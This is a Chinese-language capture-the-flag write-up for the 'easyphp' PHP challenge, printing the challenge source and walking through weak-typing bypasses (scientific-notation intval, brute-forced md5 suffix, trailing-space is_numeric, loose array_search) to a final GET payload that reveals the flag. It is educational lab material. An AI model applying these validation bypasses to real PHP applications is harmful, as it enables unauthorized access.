江苏工匠杯_easyphp_wp

 关键词 江苏工匠杯 easyphp 攻防世界 ctf wp php弱类型 php类型转换

目录

前言

原题地址

 分词php代码

魔头一: $a

魔头二: $b

大魔头三之一:$c[“m”]

 大魔头三之一:$c[“n”]

整合所有的payload

总结


前言

小时侯 我们都听过这样的童话故事,王子要拯救公主就要越过重重的关卡打败魔王 集齐钥匙最终唤醒公主 得到浪漫的结局 。这次的题 会让你有种相邻的体验。翻过层层大山 最终得到flag.

原题地址

攻防世界https://adworld.xctf.org.cn/challenges/list

 

 点击获取在线场景 我们的得到一段php代码

 分词php代码

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;
        }else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}

if($key1 && $key2){
    include "Hgfks.php";
    echo "You're right"."\n";
    echo $flag;
}

?> Emmm...

服务端接收get传参 a b 通过一些列的if运算 得到key1 得到key2 也只有得到了这两把钥匙才能包含含有flag的php文件 打印出flag.

魔头一: $a

看一看 过魔头一要什么条件

<?php
highlight_file(__FILE__);
$a = $_GET['a'];
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    echo "成功通过参数a";
    }else{
    die("Emmm...");
}
?>

$a传参不为空 $a的数值要大于600000 $a的长度要小于等于3位

这似乎说是一个矛盾的事情 要数值大于6000000 可以是6000001 这样长度必定大于3位 一般人会这想... 别急 类似矛盾后面还有...

查看php官网网对intval函数的说明PHP: intval - Manualhttps://www.php.net/manual/zh/function.intval.php

看看官网示例 #1 intval() 例子

 

 重点看看那些小长度 大数值的例子

<?php
echo intval(042);           // 34
echo intval(1e10);          // 1410065408
echo intval(0x1A);          // 26
?>

0x1A为十六进制 最终得到了十进制26 可是三个长度 最大也是0xf(15)到达不了600000 如果能有600001 进制的表示方法就好了这样我一个10就可以表示600001 了 ...

1e10 最终表示十进制的1410065408 看到这个e有没有很熟悉 这个就是科学计数法 1e10就是1*10的10次方

我们用9e9传参 $a 先用本地文件测试一下

 ok 成功通过了a参数

魔头二: $b

任然跟上一个一样 先做一个本地的测试文件

<?php
highlight_file(__FILE__);
$key1 = 0;
$b = $_GET['b'];
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;
        echo "得到第一把钥匙".$key1;
        }else{
            die("Emmm...再想想");
        }
?>

传入参数b 计算参数b md5的散列值 让它的最后六位为8b184b才能通过

这个容易 暴力的猜测嘛 让程序去做 我们就用php代码来算吧

<?php
highlight_file(__FILE__);
for($b = 1; $b <= 900000; $b++){
   $c = md5($b);
   if(isset($b) && '8b184b' === substr(md5($b),-6,6))//取md5的后6位   
      echo "成功 $b:$c";
   else
      continue;
}
?>

 for循环下很快 我们很快就找到了符合条件的值53724 这样我们过了 魔头b了

大魔头三之一:$c[“m”]

建立本次测试文件$c_"m".php

<?php
highlight_file(__FILE__);
$c=(array)json_decode(@$_GET['c']); 
//json_decode — 对 JSON 格式的字符串进行解码
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    echo "成功打败魔头c[m]";
}else{
    die("no");
}
?>

阅读代码得知 我们传入c值需是JSON 格式的字符串编码 且是一个数组

建立本次测试文件 输出json_decode

有一个键值是m的要大于2023 且不能是数字或数字字符串。这又是一个矛盾的组合

<?php
$arr = array (
    //'m'=>2023  //不可以 因为是数字
    //'m' => "2023" //不可以 因为是数字字符串
    'm' => "2023 "//以空格结尾的字符串 分析如下
);
echo json_encode($arr);
​
?>

第一次看代码的时候我也不知道is_numeric的具体作用 这时候我就去翻翻官方手册 这非常有用的

PHP: is_numeric - Manualhttps://www.php.net/manual/zh/function.is-numeric.php

看看传入的参数要求了 返回值了 范例了 一般我都会从头看到尾 浏览的过程中我发现一个很重要的信息

 这是函数is_numeric的更新日志 也许我们可以加空格来通过$c[“m”]

用刚才输出的测试代码 传入$c_"m".php

 

 大魔头三之一:$c[“n”]

建立本地测试文件

<?php
highlight_file(__FILE__);
​
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);
        //array_search — 在数组中搜索给定的值,如果成功则返回首个相应的键名
        $d === false?die("no..."):NULL;
        echo "通过\$d";
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
            //这点val的值不能是"DGGJ"
        }
        $key2 = 2;
        echo "得到钥匙$key2";
    }else{
        die("no hack");
    }
}else{
    die("no");
}
<?php
$arr = array (
    'm' => "2023 "//固定
    'n' => 待添加
);
echo json_encode($arr);
?>

它要求$c["n"]需是一个数组 数组的成员需是两个 数组的第一个成员还是一个数组 大概就是这样子的

’n‘ => array(array(),"")

不多它在后面又有要求了$c["n"]成员要有DGGJ 否者就会死亡。改写代码

’n‘ => array(array(),"DGGJ")

后面有一个遍历$c["n"] 的foreach 若有DGGJ值就会死亡 这又又是一个矛盾的点 那到底要不要DGGL了

...

后面我经历好多次的尝试 查官方资料 希望能获取灵感... 注意在官方手册里array_search 有一个be careful

这到底是什么值得小心的

 可以看到array_search搜索字符串needle 但它的成员里只有数组0 最终返回int类型0

我在想这个0是不是它的键值 如果我把它换为1 那是不是就返回int(1)了

var_dump(array_search('needle', [ 1 => 0 ])); // :3:int 1

通过测试把健值改为1 真就返回1了 这样就可以了通过最后一关 得到钥匙了

事实上这又是一个类型不匹配的问题

为什么说又呢 细心的小伙伴会发现上面的代码有 $c["m"] > 2022)

我们输入的是数字字符串 这是可以和数字进行比较的 但如果我们输入的是纯字符串与数字做比较 那最终会是 0与2022作比较

因为字符串会变成int类型 在与其他int作比较

任何字符串转换为int型都将是0 这点可以用(int)"string"做测试

array_search 就存在这样的问题 他会先把’needle‘ 转化为int类型 在于0做比较相等就返回它的键值

修改本地测试代码

<?php
$arr = array (
    'm' => "2023 ",//固定
    //'n' => array(array(),DGGJ)//不可以哟
    //'n' => array(array(),(int)"DGGJ")//手动字符串转数字
    'n' => array(array(),0)
);
echo json_encode($arr);
?>

输出{"m":"2023 ","n":[[],0]}

这样数数组里的值就没有DGGJ 这里不用担心有类型转换的问题 因为foreach用的是 === 类型严格匹配

经过array_search 会返回1 也就是true 它可不等于false $d将是null

 到这里算是通过所有考验 

整合所有的payload

a=9e9

b=53724

c={"n":[[null],0],"m":"2023 "}

多值get传参

?a=9e9&b=53724&c={"n":[[],0],"m":"2023 "}

最终通过了层层险阻打败了魔王得到了钥匙 迎娶了公主(flag)

总结

这道题还是很有意思的

php对参数类型做的没那么严格 所以有一种说法叫做php弱类型

posted @ 2022-10-30 20:28  糖果闪闪发光  阅读(38)  评论(0)    收藏  举报  来源